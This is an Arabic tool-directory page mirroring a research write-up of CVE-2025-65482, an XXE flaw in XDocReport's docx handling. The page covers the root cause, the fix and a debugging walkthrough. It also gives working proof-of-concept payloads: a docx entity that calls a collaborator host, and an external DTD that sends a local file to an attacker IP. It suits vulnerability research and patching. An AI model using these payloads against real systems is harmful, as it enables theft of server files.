Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-65482-XXE- — CVE-2025-65482 (XXE) | Kitploit
أدوات/GitHubGitHub/at190510-cuong/cve-2025-65482-xxe-
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتسريب البياناتالأوراق والأبحاثالتعلم والتعليم
GitHubat190510-cuong/cve-2025-65482-xxe-

CVE-2025-65482-XXE-

CVE-2025-65482 (XXE)

عرض المستودع
12منذ 9 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-65482 (XXE)

حقن كيان خارجي XML (XXE) في XDocReport

تعريف الخلل

حقن كيان خارجي XML

نظرة عامة على الثغرة

  • حقن الكيان الخارجي XML (XXE) هو ثغرة في معالجة بيانات بتنسيق XML، حيث يقوم المستخدم بإدراج بيانات XML تشير إلى ملف أو نظام خارجي. يمكن للمهاجم استخدام ثغرة XXE المحددة هذه لمسح الأنظمة الأخرى بحثًا عن منافذ الخدمة المفتوحة، وطلب ملفات سرية، والوصول إلى وظائف الأنظمة المتصلة التي لن تكون متاحة بخلاف ذلك. من هنا، يمكن للمهاجم استخراج البيانات والتفاعل مع الأنظمة والتسبب في انقطاع الخدمة من خلال إدراج XML.

تأثير الأعمال

  • يمكن أن يؤدي XXE إلى ضرر بسمعة الشركة بسبب فقدان ثقة المستخدمين. كما يمكن أن يؤدي إلى سرقة البيانات وخسائر مالية غير مباشرة للشركة من خلال تكاليف الإخطار والمعالجة وبيانات PII المخترقة.

الخطورة عالية

image

الوصف والتأثير

يسمح موقع إدارة الموارد البشرية للمستخدمين بتحميل ملفات وثائق .docx إلى النظام. أثناء المعالجة، يستخدم التطبيق المكتبة fr.opensagres.xdocreport.document.docx التي تحتوي على ثغرة XXE عند معالجة ملف .docx للمستخدم عبر .

تنزيل الأداة
SAXParser

المكون المتأثر

fr.opensagres.xdocreport.template.docx — XDocReport (الإصدارات =< 2.0.3)

تحليل السبب الجذري

السبب هو استخدام Apache POI

root@kitploit:~
fr.opensagres.xdocreport.document.docx
   └── fr.opensagres.xdocreport.document
         └── fr.opensagres.xdocreport.template
               └── fr.opensagres.xdocreport.converter
                     └── org.apache.poi.xwpf.converter.core
                           ├── org.apache.poi:poi
                           └── org.apache.poi:poi-ooxml

أي أن Apache POI موجود في عمق كبير، في الوحدة:

root@kitploit:~
org.apache.poi.xwpf.converter.core

image

يحدث الخطأ لأن XDocReport (في الوحدة fr.opensagres.xdocreport.document.docx) يستخدم Apache POI لقراءة ملفات .docx، و POI يستخدم SAXParser الافتراضي لجافا دون تعطيل الميزات التي تسمح بمعالجة DTD والكيانات الخارجية. → وهذا يسمح للمهاجم بإدراج DOCTYPE يحتوي على كيان يشير إلى الخارج (SYSTEM "http://...") أو إلى ملف داخلي (file:///...) → مما يؤدي إلى XXE.

image

root@kitploit:~
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)

خطوات إعادة الإنتاج

  • فك ضغط أي ملف docx
root@kitploit:~
unzip ../vcspentest.docx

image

  • تحرير محتوى ملف document.xml داخل docx
root@kitploit:~
nano word/document.xml

image

قم بتحريره بحمولة outband تمر عبر collabrator كما يلي:

root@kitploit:~
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>

image

  • إعادة الضغط إلى ملف poc
root@kitploit:~
 zip -r ../poc.docx *

image

image

  • تحميل ملف docx المعدل لمعالجته بواسطة xdocreport

image

  • النتيجة: ظهور طلب مرسل إلى collabrator

image

  • رفع التأثير لقراءة الملفات في النظام
  • استضافة ملف dtd على جهاز wsl 172.26.208.130. بمحتوى ملف vcspentest.dtd كما يلي:
root@kitploit:~
<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;

image

image

قم بتحرير ملف word/document.xml داخل ملف .docx بالمحتوى التالي لتحميل dtd خارجي من جهاز wsl:

root@kitploit:~
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>

image

  • ضغط الملف إلى .docx ورفعه إلى الخادم للمعالجة

image

image

  • على جهاز wsl، يظهر طلب مرسل بمحتوى ملف D:/vcspentest.txt على الخادم المستهدف

image

image

الحل

  • https://github.com/opensagres/xdocreport/pull/547/commits/a8e48d17f02c19b807efe450d20f1755e45d818b

image

في الكود أو في طبقة تهيئة محلل XML، يجب تعطيل جميع الميزات المتعلقة بـ DTD والكيانات الخارجية.

إصلاح مشابه لهذا الكود

root@kitploit:~
    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
    public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }


    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
    public String SAXParserSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
        return "SAXParser xxe security code";
    }

إعداد بيئة التصحيح

image

  • في ملف Main.java
root@kitploit:~
package org.example;

import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;

import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;

public class Main {

    public static void main(String[] args) {
        try {
            // قراءة ملف الإدخال الذي يحتوي على تعبير Velocity
            File docxTemplate = new File("C:\\Users\\HP\\Downloads\\New folder (3)\\poc.docx"); // ملف الإدخال
            InputStream input = new FileInputStream(docxTemplate);

//             تحميل القالب باستخدام Velocity
//            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);

            // تحميل القالب باستخدام FreeMarker
            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

            // إنشاء سياق - يمكن تركه فارغًا إذا كان الاختبار فقط للتعبير المستقل
            IContext context = report.createContext();

            // تصدير إلى ملف جديد
            OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
            report.process(context, out);

            System.out.println("✅ تم إنشاء ملف result.docx بنجاح.");
        } catch (Exception e) {
            System.err.println("❌ خطأ في معالجة الملف:");
            e.printStackTrace();
        }
    }
}
  • المكتبات المطلوب استيرادها
root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>vcs1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>18</maven.compiler.source>
        <maven.compiler.target>18</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <!-- Template engine: FreeMarker -->
        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
            <version>2.0.3</version>
        </dependency>
    </dependencies>
</project>

تحليل المصدر والمصب بالتصحيح

  • الإدخال من محتوى XML داخل .docx يتم معالجته مسبقًا

image

  • ثم يتم تمريره للمعالجة بواسطة SAXParser دون التحقق من الإدخال

image

image

image

image

  • ثم يدخل الدالة scanDocument() ويقوم بمسح محتوى XML وإصدار "أحداث" (START_DOCUMENT, START_ELEMENT, CHARACTERS, ENTITY_REFERENCE, إلخ)

image

image

image

image

  • التحقق مما إذا كان اسم الكيان (name = "xxe") هو كيان خارجي

  • إذا تم تعريف الكيان وكان خارجيًا، فإن المحلل يستدعي منطق حل الكيان الخارجي (على سبيل المثال startExternalEntity(...) / fEntityManager.startEntity(...)) — هذه هي المصب: هنا سيقوم المحلل بأخذ systemId/publicId ومحاولة فتح دفق (قد يولد طلب HTTP خارجي).

image

image

image

  • إذا كان xxe كيانًا خارجيًا، فإن startEntity(...) سيؤدي إلى منطق فتح مورد (على سبيل المثال startExternalEntity(...) / فتح InputStream → إمكانية إنشاء طلب HTTP إلى عنوان SYSTEM).

image

image

image

  • هذه هي النقطة التي يبدأ فيها المحلل بمعالجة الكيان "xxe".

image

image

image

image

image

image

root@kitploit:~
  // should we skip external entities?
        boolean external = entity.isExternal();
        Entity.ExternalEntity externalEntity = null;
        String extLitSysId = null, extBaseSysId = null, expandedSystemId = null;
        if (external) {
            externalEntity = (Entity.ExternalEntity)entity;
            extLitSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getLiteralSystemId() : null);
            extBaseSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getBaseSystemId() : null);
            expandedSystemId = expandSystemId(extLitSysId, extBaseSysId, fStrictURI);
            boolean unparsed = entity.isUnparsed();
            boolean parameter = entityName.startsWith("%");
            boolean general = !parameter;
            if (unparsed || (general && !fExternalGeneralEntities) ||
                    (parameter && !fExternalParameterEntities) ||
                    !fSupportDTD || !fSupportExternalEntities) {

                if (fEntityHandler != null) {
                    fResourceIdentifier.clear();
                    final String encoding = null;
                    fResourceIdentifier.setValues(
                            (externalEntity.entityLocation != null ? externalEntity.entityLocation.getPublicId() : null),
                            extLitSysId, extBaseSysId, expandedSystemId);
                    fEntityAugs.removeAllItems();
                    fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
                    fEntityHandler.startEntity(entityName, fResourceIdentifier, encoding, fEntityAugs);
                    fEntityAugs.removeAllItems();
                    fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
                    fEntityHandler.endEntity(entityName, fEntityAugs);
                }
                return;
            }
        }

image

  • الدالة startEntity() تتحقق مما إذا كان الكيان هو كيان خارجي (isExternal = true)، ثم تستدعي:
root@kitploit:~
staxInputSource = resolveEntityAsPerStax(externalEntity.entityLocation);

المتغير externalEntity.entityLocation يحتوي على عنوان URL الضار من DOCTYPE (SYSTEM "http://...oastify.com/").

image

  • resolveEntityAsPerStax، المتغير resourceIdentifier يحتوي على المسار المطلق: http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/

  • هذه الدالة تقوم بعد ذلك بتحويل resourceIdentifier إلى كائن XMLResourceIdentifierImpl وتستمر في فتح الاتصال الفعلي لقراءة المحتوى.

image

image

المصادر

  • https://drive.google.com/drive/folders/1hUyCznpBN7ivo5krmyJ4OQc_q626Hy5q?usp=drive_link